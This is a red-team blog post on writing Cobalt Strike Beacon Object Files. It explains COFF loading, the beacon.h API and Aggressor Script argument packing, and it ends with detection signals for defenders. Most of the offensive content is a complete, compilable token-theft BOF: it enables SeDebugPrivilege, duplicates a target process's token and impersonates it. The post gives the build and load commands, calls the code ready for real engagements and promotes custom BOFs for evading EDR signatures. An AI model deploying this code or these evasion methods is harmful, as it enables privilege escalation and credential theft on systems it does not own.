TL;DR — Beacon Object Files (BOFs) are position-independent COFF object files loaded and executed directly inside the Cobalt Strike Beacon process via theinline-executemechanism, without spawning a new process, injecting into a remote process, or touching disk. Beacon resolves BOF symbols using aDLLNAME$FuncNamenaming convention and exposes an internal API (BeaconPrintf,BeaconDataParse,BeaconOutput,BeaconDataExtract,BeaconDataInt) for output and argument parsing. This post covers the COFF object format, Beacon's loading mechanism, argument packing viabof_packin Aggressor Script, a complete working token-impersonation BOF usingNtCreateToken, fork-and-run OPSEC comparison, and the detection signals that remain after BOF adoption.
Executive Summary
The paradigmatic post-exploitation pattern before BOFs was fork-and-run: Cobalt Strike would spawn a sacrificial child process (e.g., rundll32.exe), inject the post-ex capability (e.g., a Mimikatz reflective DLL) into it, collect output, and kill the child. Each operation generated at minimum one process-creation event, one cross-process memory-write, one CreateRemoteThread, and often one suspicious process ancestry chain. EDR vendors tuned detection heavily on this pattern: svchost.exe → rundll32.exe with an injected module is unmistakable.
BOFs replace fork-and-run for targeted post-ex tasks by executing capability directly inside the Beacon process. No child process is created. No cross-process memory write occurs. No CreateRemoteThread fires. The BOF's code runs on a Beacon thread, makes Windows API calls, outputs results via internal Beacon APIs, and returns — leaving behind only the API call telemetry of the Beacon process itself. For defenders who instrument child process creation and cross-process injection, BOFs are invisible in those telemetry channels. The residual detection surface is anomalous API call sequences from the Beacon PID and, in some configurations, the RWX allocation that houses the BOF code.
Custom BOFs extend this model beyond the public toolset. Operators who write purpose-built BOFs for specific engagement objectives — token operations, credential extraction, service manipulation, lateral movement primitives — avoid detection signatures on published tooling (nanodump, TrustExec, InlineExecute-Assembly) while maintaining the OPSEC benefits of in-process execution.
COFF Object File Format
A BOF is a COFF (Common Object File Format) object file — the output of compiling a single C translation unit without linking. The distinction matters: a linked executable or DLL has resolved imports, a filled-in IAT, and an entry point designated by the PE optional header. An object file retains external symbol references unresolved, a relocation table that describes how the loader should patch addresses, and no optional header.
The COFF header structure (first 20 bytes of any .o file):
typedef struct _IMAGE_FILE_HEADER { WORD Machine; /* 0x8664 = x64, 0x014C = x86 */ WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; /* 0 for object files */ WORD Characteristics;} IMAGE_FILE_HEADER;For x64 BOFs, Machine must be IMAGE_FILE_MACHINE_AMD64 (0x8664). The SizeOfOptionalHeader is zero — object files have no optional header, only the file header, section headers, section data, relocation entries, and symbol table.
Each section header describes a named section (.text, .data, .rdata, .pdata) with a PointerToRelocations field pointing to a relocation table. Each relocation entry specifies an offset within the section that must be patched and the symbol index whose resolved address should be written there. Beacon's loader walks these relocation tables after resolving all external symbols.
flowchart TD
A["COFF .o File"] --> B["IMAGE_FILE_HEADER\n(Machine=0x8664, NumSections, etc.)"]
B --> C["Section Headers Array\n(.text, .data, .rdata, .pdata)"]
C --> D["Section Raw Data"]
D --> E["Relocation Table per Section\n(offset, symbol index, type)"]
E --> F["Symbol Table\n(DLLNAME$FuncName entries → unresolved)"]
F --> G["String Table\n(long symbol names)"]Beacon's inline-execute Loading Mechanism
When the operator issues inline-execute custom.o args, Beacon's loader performs the following steps entirely within the Beacon process:
- Allocate a code buffer. Beacon calls
VirtualAlloc(NULL, totalSize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)— or, in more recent CS versions,PAGE_EXECUTE_READafter writing — to hold the assembled BOF code.
- Copy section data. Each COFF section's raw bytes are copied into the allocated buffer, laid out sequentially.
- Resolve external symbols. For each symbol in the symbol table whose name matches the
DLLNAME$FuncNamepattern, Beacon callsGetModuleHandleA/LoadLibraryAon the DLL name andGetProcAddresson the function name. Beacon API symbols (e.g.,BeaconPrintf) are resolved via internal function pointer tables baked into Beacon.
- Apply relocations. For each section's relocation table, Beacon patches the raw bytes at the specified offsets with the resolved symbol addresses.
- Call `go(args, argsLen)`. Beacon casts the address of the
gosymbol to a function pointer and invokes it with the packed argument buffer.
- Return to Beacon. When
go()returns, Beacon reclaims the allocation and continues normal operation.
sequenceDiagram
participant Op as Operator
participant TS as Team Server
participant Beacon as Beacon Process
participant OS as Windows OS
Op->>TS: inline-execute custom.o "arg1 arg2"
TS->>Beacon: Task: BOF bytes + packed args
Beacon->>OS: VirtualAlloc(RWX, BOF size)
Beacon->>Beacon: Copy COFF sections into buffer
Beacon->>OS: GetProcAddress(ADVAPI32, "OpenProcessToken")
Beacon->>Beacon: Patch relocations with resolved addresses
Beacon->>Beacon: Call go(args, argsLen)
Beacon->>OS: Windows API calls from go()
Beacon->>TS: BeaconOutput(results)
Beacon->>OS: VirtualFree(BOF buffer)beacon.h API Reference
The beacon.h header defines the interface between a BOF and the Beacon runtime. Every function is declared with DECLSPEC_IMPORT which compiles to an external symbol that Beacon resolves at load time:
/* beacon.h — canonical definitions */ /* Output types */#define CALLBACK_OUTPUT 0x0#define CALLBACK_OUTPUT_OEM 0x1e#define CALLBACK_ERROR 0x0d#define CALLBACK_OUTPUT_UTF8 0x20 /* Data parser — used to extract packed BOF arguments */typedef struct { char *original; char *buffer; int length; int size;} datap; /* Core Beacon API */DECLSPEC_IMPORT void BeaconDataParse(datap *parser, char *buffer, int size);DECLSPEC_IMPORT int BeaconDataInt(datap *parser);DECLSPEC_IMPORT short BeaconDataShort(datap *parser);DECLSPEC_IMPORT int BeaconDataLength(datap *parser);DECLSPEC_IMPORT char *BeaconDataExtract(datap *parser, int *size);DECLSPEC_IMPORT void BeaconPrintf(int type, const char *fmt, ...);DECLSPEC_IMPORT void BeaconOutput(int type, char *data, int len);DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);DECLSPEC_IMPORT void BeaconRevertToken(void);DECLSPEC_IMPORT BOOL BeaconIsAdmin(void);DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char *buff, int buffsz);DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char *payload, int p_len, int p_offset, char *arg, int a_len);DECLSPEC_IMPORT void BeaconInjectTemporaryProcess( PROCESS_INFORMATION *pInfo, char *payload, int p_len, int p_offset, char *arg, int a_len);DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO *si, PROCESS_INFORMATION *pi);DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION *pInfo);The DLLNAME$FuncName Symbol Convention
BOF code must not include Windows API functions directly in the source imports — the COFF object file has no IAT to patch. Instead, each Windows API call is declared as an external function pointer using the DLLNAME$FuncName naming convention, which tells Beacon's resolver which DLL to load and which export to look up:
/* In a BOF source file — DO NOT use normal includes for these */ /* NT APIs from ntdll */DECLSPEC_IMPORT NTSTATUS NTAPI NtOpenProcessToken( HANDLE, ACCESS_MASK, PHANDLE);#define NtOpenProcessToken \ ((NTSTATUS(NTAPI*)(HANDLE,ACCESS_MASK,PHANDLE))\ GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtOpenProcessToken")) /* Win32 APIs — use the $-convention macro pattern instead */WINBASEAPI BOOL WINAPI OpenProcessToken(HANDLE, DWORD, PHANDLE);#define ADVAPI32$OpenProcessToken \ ((BOOL(WINAPI*)(HANDLE,DWORD,PHANDLE))\ GetProcAddress(LoadLibraryA("advapi32.dll"),"OpenProcessToken"))This produces a symbol named ADVAPI32$OpenProcessToken in the COFF symbol table. Beacon recognizes the $ delimiter, splits on it, and calls LoadLibraryA("advapi32.dll") followed by GetProcAddress(hMod, "OpenProcessToken").
Argument Packing with bof_pack (Aggressor Script)
Arguments are packed by the Aggressor Script using the bof_pack function before being sent to Beacon. The format string characters map to types:
| Format Char | Type | Notes |
|---|---|---|
b | Binary blob | Length-prefixed byte array |
i | 32-bit int | Little-endian |
s | 16-bit short | Little-endian |
z | Null-terminated ANSI string | Length-prefixed + nul |
Z | Null-terminated wide string | Length-prefixed UTF-16LE + nul nuls |
// token_impersonate.cna — Aggressor Script integrationalias token-impersonate { local('$handle $data $args $pid'); $pid = $1; # Target PID to steal token from $handle = openf(script_resource("token_impersonate.o")); $data = readb($handle, -1); closef($handle); # Pack a single integer argument (target PID) $args = bof_pack("i", int($pid)); beacon_inline_execute($bid, $data, "go", $args); btask($bid, "Impersonating token from PID: " . $pid);}Complete Working BOF: Token Impersonation via NtCreateToken / DuplicateTokenEx
The following BOF opens a process, duplicates its token, and uses BeaconUseToken to set the impersonated token on the Beacon thread. This performs token theft without spawning any new process.
/* * token_impersonate.c * BOF: steal primary token from target PID and impersonate it. * Compile: x86_64-w64-mingw32-gcc -o token_impersonate.o \ * -c token_impersonate.c -masm=intel \ * -Wall -Wno-unused-variable -Wno-implicit-function-declaration */ #include <windows.h>#include "beacon.h" /* Win32 API declarations using the BOF $-convention */DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(void);DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE);DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$DuplicateTokenEx( HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE);DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AdjustTokenPrivileges( HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD);DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueA( LPCSTR, LPCSTR, PLUID); /* * Helper: enable a named privilege in the current token. * Required to open processes with PROCESS_QUERY_INFORMATION. */static BOOL EnablePrivilege(const char *privName){ HANDLE hToken; if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return FALSE; TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!ADVAPI32$LookupPrivilegeValueA(NULL, privName, &tp.Privileges[0].Luid)) { KERNEL32$CloseHandle(hToken); return FALSE; } BOOL result = ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL); KERNEL32$CloseHandle(hToken); return result;} void go(char *args, int argsLen){ datap parser; BeaconDataParse(&parser, args, argsLen); DWORD targetPid = (DWORD)BeaconDataInt(&parser); if (targetPid == 0) { BeaconPrintf(CALLBACK_ERROR, "Usage: token-impersonate <PID>"); return; } BeaconPrintf(CALLBACK_OUTPUT, "[*] Attempting token theft from PID %lu", targetPid); /* Enable SeDebugPrivilege to open privileged processes */ if (!EnablePrivilege("SeDebugPrivilege")) { BeaconPrintf(CALLBACK_ERROR, "[-] Failed to enable SeDebugPrivilege (error %lu)", GetLastError()); /* non-fatal — may still work for same-privilege targets */ } /* Open the target process */ HANDLE hProcess = KERNEL32$OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, targetPid); if (!hProcess) { BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcess(%lu) failed: %lu", targetPid, GetLastError()); return; } /* Open the process token */ HANDLE hToken = NULL; if (!ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hToken)) { BeaconPrintf(CALLBACK_ERROR, "[-] OpenProcessToken failed: %lu", GetLastError()); KERNEL32$CloseHandle(hProcess); return; } /* Duplicate as a primary token (for full impersonation) */ HANDLE hDupToken = NULL; if (!ADVAPI32$DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) { BeaconPrintf(CALLBACK_ERROR, "[-] DuplicateTokenEx failed: %lu", GetLastError()); KERNEL32$CloseHandle(hToken); KERNEL32$CloseHandle(hProcess); return; } /* Hand the duplicated token to Beacon for impersonation */ if (BeaconUseToken(hDupToken)) { BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully impersonating token from PID %lu", targetPid); } else { BeaconPrintf(CALLBACK_ERROR, "[-] BeaconUseToken failed: %lu", GetLastError()); } /* Cleanup — Beacon holds its own reference to hDupToken */ KERNEL32$CloseHandle(hDupToken); KERNEL32$CloseHandle(hToken); KERNEL32$CloseHandle(hProcess);}Compilation with MinGW x64:
# Cross-compile from Linux targeting Windows x64x86_64-w64-mingw32-gcc \ -o token_impersonate.o \ -c token_impersonate.c \ -masm=intel \ -Wall \ -Wno-unused-variable \ -Wno-implicit-function-declaration \ -Wno-pointer-sign # Verify COFF magic bytes (0x64 0x86 for x64)xxd token_impersonate.o | head -1# 00000000: 6486 0600 ... # Load in CS: script console# > load /path/to/token_impersonate.cna# > token-impersonate 4 <Beacon ID> 1234Fork-and-Run vs BOF OPSEC Comparison
| Signal | Fork-and-Run | BOF |
|---|---|---|
| Process creation event | Yes (child process) | No |
| Process ancestry chain | Beacon → sacrificial child | No new process |
| Cross-process memory write | Yes (inject into child) | No |
| CreateRemoteThread / NtCreateThreadEx | Yes | No |
| On-disk artifact | Possible (payload staging) | No |
| RWX allocation | In child (injection target) | In Beacon process |
| LSASS handle from Beacon PID | Beacon makes the call | Beacon makes the call |
| ETW image-load event | Yes (DLL loaded in child) | No |
| Beacon anomalous API call | No (child does the work) | Yes (Beacon does the work) |
The trade-off is clear: BOFs eliminate the subprocess and injection telemetry channels entirely, but concentrate all anomalous API calls into the Beacon PID. An EDR that builds a behavioral baseline per process and flags deviations — e.g., chrome.exe (the Beacon process) suddenly calling OpenProcess on lsass.exe — will detect the BOF operation. Fork-and-run, by contrast, generates the suspicious calls from rundll32.exe, which is contextually less surprising than chrome.exe doing the same.
Notable Open-Source BOFs
nanodump (helpsystems/outflank): Performs LSASS credential dumping entirely within the Beacon process via a BOF. Implements a custom minidump writer that calls NtReadVirtualMemory directly, bypassing MiniDumpWriteDump (which is heavily monitored). Supports output directly to a Beacon download channel without writing to disk.
TrustExec (Oh Jin Kwon / djhohnstein): Executes a process as NT SERVICE\TrustedInstaller by leveraging the token inheritance chain and NtSetInformationToken — all within a BOF, without spawning intermediate processes.
InlineExecute-Assembly (cobbr): Loads a .NET CLR in-process and executes managed assemblies without fork-and-run or Assembly.Load disk staging. Accepts assembly bytes directly from the BOF argument buffer.
BOF.NET (CCob): Bridges the BOF execution model into the .NET ecosystem, allowing C# code to be compiled into a BOF-compatible COFF wrapper and executed in-process without a separate CLR host.
Detection Signals
Anonymous RWX Region inside Beacon
The most actionable signal is the VirtualAlloc(RWX) that Beacon issues to host the BOF code. In more recent Cobalt Strike versions, memory protections are managed more carefully — the region is RWX only during loading and patched to RX before calling go(). Still, the alloc-RWX event itself fires KERNEL_THREATINT_TASK_ALLOCVM on any system with a functional ETWTI consumer.
COFF Magic Byte Scanning
The BOF buffer contains a raw COFF header. Heap scanning within the Beacon process during or immediately after inline-execute will find the 0x6486 (x64) or 0x4C01 (x86) magic bytes. Products that implement process-level memory scanning — PE-sieve, Moneta, Defender's MpEngine — can be configured to flag COFF headers in heap allocations.
Unusual API Sequences from Beacon PID
A Chrome browser process (chrome.exe) making sequence OpenProcess(PROCESS_QUERY_INFORMATION, lsass_pid) → OpenProcessToken → DuplicateTokenEx is anomalous under any behavioral model. EDR products that maintain per-PID API call graphs and flag rare cross-category sequences (LSASS access from a non-system process, token duplication outside of LSA subsystem) will surface BOF token theft operations.
ETW Event Patterns
Event: Microsoft-Windows-Security-Auditing / 4688 (Process Creation) → Not fired by BOFs (no process created) — absence of 4688 after a suspicious operation is itself informative. Event: Microsoft-Windows-Security-Auditing / 4656 (Handle Request) → Fires when Beacon opens LSASS handle — detectable regardless of BOF. Event: Microsoft-Windows-Threat-Intelligence / VirtualAlloc → Fires when Beacon allocates the BOF code buffer. CallerAddress points into Beacon's text section — expected. AllocationBase is anonymous (no module) — suspicious.Advanced: Position-Independent Code Constraints
Writing correct BOFs requires understanding why certain C constructs are forbidden:
No CRT. There is no C runtime linked. printf, malloc, free, memset, strlen are all undefined. Use BeaconPrintf for output, HeapAlloc/HeapFree for allocation, and implement string operations manually or use win32 equivalents (lstrcpyA, lstrlenA).
No global variables with initializers. Global variables whose initial values are fixed (e.g., static int count = 5;) require a .data section relocation — technically possible but fragile. Prefer stack allocation for all state.
No exception handling. Structured Exception Handling (SEH) requires the .pdata and .xdata sections to be correctly relocated. While Beacon does copy and relocate these sections, exception propagation through Beacon's stack frame is undefined behavior. Avoid __try/__except.
No TLS. Thread Local Storage requires loader cooperation that the COFF loader does not provide.
Call depth. The BOF runs on Beacon's existing thread. Deep recursion risks a stack overflow that crashes Beacon. Keep call depth shallow; use iterative algorithms.
Conclusion
BOFs are the current standard for stealthy in-process post-exploitation in Cobalt Strike engagements. By eliminating process creation, cross-process injection, and disk artifacts while maintaining full Windows API access, BOFs reduce the detection footprint to API call telemetry from within the Beacon process itself — a smaller, harder-to-attribute signal than the subprocess model. Custom BOFs extend this advantage by avoiding the detection signatures catalogued against public tooling.
The practitioner building a custom BOF must internalize the COFF loading model, the DLLNAME$FuncName resolution convention, the beacon.h API, and the MinGW compilation toolchain. The token impersonation BOF presented here demonstrates the complete workflow — from argument packing in Aggressor Script through symbol resolution, NT API invocation, and BeaconUseToken — in a form ready for real engagement use with minor adaptation.
Defenders should respond by moving detection away from subprocess telemetry — which BOFs bypass entirely — toward per-process behavioral baselines, ETWTI consumers, and in-process memory scanning. The anomalous API sequence is unavoidable: whatever the BOF does, Beacon does it, and it will appear anomalous in the context of the process Beacon is running inside.